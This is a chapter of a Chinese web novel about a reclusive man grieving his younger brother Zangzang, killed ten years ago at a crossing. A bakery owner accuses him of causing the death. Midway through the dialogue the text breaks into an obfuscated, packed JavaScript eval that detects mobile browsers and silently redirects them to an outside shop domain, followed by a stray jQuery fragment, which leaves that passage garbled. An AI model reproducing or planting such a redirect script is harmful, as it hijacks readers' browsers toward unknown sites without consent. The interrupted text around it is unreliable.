臧臧二十岁生日前就去世了。
十年过去，他还是二十岁，我已经变成沧桑而颓废的三十三岁中年男人。
除去线上工作，连最近一次与外界社交，也是三年前社区居委会大妈生怕我在屋里死掉，借送生日蛋糕之名看看我有没有变成干尸。不过，我宁愿变这种模样，如果能再次见到臧臧。
总共五封请柬，还剩三封。
如果不是他写错了日期，让本应该十年前送到的请柬推迟，我可能永远不会注意到臧臧去世那年还留给我惊喜。
如果惊喜是以臧臧性命为代价……
我宁愿从未看见。
太阳西偏，雨不知何时停了，余辉透过窗棱落在臧臧的小熊上，绒毛散发柔和、类似烘焙黄油曲奇的味道，我轻轻靠过去，鼻尖埋入其中某只。尽管臧臧的气息早已飘散，由于我始终用着十年前的洗衣液与柔顺剂，仿佛臧臧刚刚午睡起身。
当初搬到这里，极大原因离不开附近遍地开花的面包店。
臧臧不嗜甜，却独爱牛角包。
恰巧有家店牛角包里裹满奶黄流沙馅料，掰开时香气直勾魂，酥软口感总带有弹牙的糯意。
每次我下班买回家，臧臧会开心跑过来，先是重重拥抱我说欢迎回家，再乐呵呵接过盒子，放在阴凉处等吃饭时同我一人一半。
“为什么会喜欢吃这个？”
住进我们买的楼房，生活虽算不上极为优渥，小富即安的衣食无忧到底是能达到，也能在力所能及范围里，给臧臧买几块保值用的黄金。
所以明明能买更贵的甜品，臧臧始终要七点以后打折的羊角包。
“哥哥挣钱不容易。”
每当提及话题，臧臧总会想办法转移我的注意力，要么是用半块面包堵住话头，势必让我放弃纠结。
下午四点左右，最后一锅面包应该也烤出来了，现在去多半能买到热的。
我拉好窗帘，房间闷沉沉，失去阳光后的双人床更为空荡，颓败得七零八落，上次出门还是去见业务客户，但也距离近仨月之久。自臧臧意外去世，我几乎封死在这八十平米房子内。
十年前，这楼盘外观还算前沿，现在也同老房子无差，顶多是外表看着比同期干净，其实同样败絮。
附近小学还未放学，接送的家长也没来，整条路空荡荡，也没多少人对我的着装指手画脚。
“怎么又穿这么邋遢出门？”
除了这位面包店的老板娘。
我低头，拢拢因常年未拉而变得异常干涩的拉链，甚至连口袋开线都没察觉：“衣服旧而已。”
“哎呦，我说你这么下去也……”她到嘴边的话吞了回去，转身帮我取牛角包时，有意无意闭紧嘴，似乎比我还敏感臧臧的名字。
牛角包口味不多，三种单调，奶黄馅、红豆馅与原味并排放在塑料袋，一提哗啦啦作响。
“他最喜欢哪个味道？”
似乎没料到我会率先开启话题，老板娘表情明显一愣，手指无意识按住旁边算账的有声计算器，机械冰冷的电子音猛地重复归零，她讲话变得略磕巴。
关于臧臧的事，就算过去十年，老板娘从刚毕业的学生变成独当一面的店长，等话题开启，回忆仍如数家珍。
“奶黄。”
老板娘笃定，她拉下羊角包柜门，别过头快速抹了把眼，着实好笑。
我打趣她：“我这个当哥哥的还没那么难过，怎么你——”
“你不难过怎么在落泪？”
她讲话毫不留情面，举起摆面包的铁盘，背后油光锃亮，映出来张明显老态的脸。眼袋都快挂到鼻子，刘海长得跟几十年前的非主流无差，胡渣在下巴绕成圈，要不是眼睛通红五官无任何变化，还以为从哪跑出来的流浪汉。
我们一时安静。
她低头，看向虚掩的房门，见没人坐在那边，沉沉叹口气：“你以为只有你忘不掉他吗？”不给我回答的机会，老板娘笑容消失，语气冷淡：“你懂什么。”
“他是我弟弟。”
“谁不知道他是你的谁！”老板娘险些失控：“东西都放台上了，你拿走。”
她不再看我一眼，挑起帘子将要进去时，漠然着目光缓缓转身。
“如不是他说你们之前同姓，我真瞧不出来你哪有半分当哥的样，就算老牌大学毕业的学生又怎样？现在不也是家里蹲么，哦，你竟然还能住下去。”
“你这话什么意思？”
“还想跟我吵，他孤零零躺回山底，你自己住城里吃香喝辣……”
老板娘音调拔尖，她咬紧后牙，面容绷直：“如果不是你，臧臧他怎么可能会赶着最后几秒钟过马路，你才是杀死他的罪魁祸首！”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176248|150589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…”
“怎么不讲话？被我说中了吧。”老板娘冷笑，未收住音量，引来后门里侧传来脚步声：“孩儿他妈，谁在外面？”
“之前的邻居！过来聊聊，收拾你的东西就行！”她偏头朝里喊，恶狠狠瞪过来：“说真的，李泫，我就没见过比你还自私自利的家伙。”
我沉默，看着塑料袋里的面包。
走不出这十年阴霾的，何况只我。
老板娘一口气说到最后，她理理因方才咒骂而散乱的刘海，稍微平复些心情，冲我露出皮笑肉不笑表情，继而招呼新进店就被高嗓门吓一跳的顾客。
我不愿自讨没趣。
几乎是刚踏出门脸，甩上的玻璃门险些砸在后脚跟。
秋风卷起落叶，呼啦全挂到马路牙底部，叶子被秋日照得闪亮，是一个难得的落雨晴天。我提着袋子往回走，却是与家相反的方向。
漫无目的，走着走着，来到距离小区两个红绿灯的街口。
道路横平竖直，车流不息。
纵使未到高峰期，仍存车辆拥挤。
我站在路中央的安全岛。
怔怔地，望向对岸。
老板娘说得没错。
当年那起车祸的导火索完全是因我心急，臧臧是个连信号灯刚跳转都不愿过马路的人，却因为我站在对面朝他招手，怀抱刚买到的打折菜向我跑来。
其实，这真的只是个小路口。
如果行人走快些，十几秒时间足够抵达安全岛。
斑马线也是新刷的，涂有醒目亮白色荧光剂。
再往前有所学校，所有熟悉附近环境的车辆都会提前减速。
那为什么偏偏是臧臧呢？
他没有闯红灯。
甚至没有在倒数后三秒才出发。
他本应该向往常一样，提着自己手工编的装满蔬菜的藤条小篮，跑过马路站到我面前，任由我牵着他的手回家。
他会在路上点想吃的菜，会在路灯下踩住我的影子微笑，会换上毛绒绒小熊睡衣乖乖坐在餐桌前，会同我头碰头脚抵脚在未供暖的房间里取暖。
我们本应一辈子，本应幸福落尾。
但伴随刺破耳膜的刹车声、碰撞□□的闷钝声、周围人群尖叫声与救护车的轰鸣声。
臧臧抱在怀里的苹果，碎得不能再碎，轻轻滚到我脚边。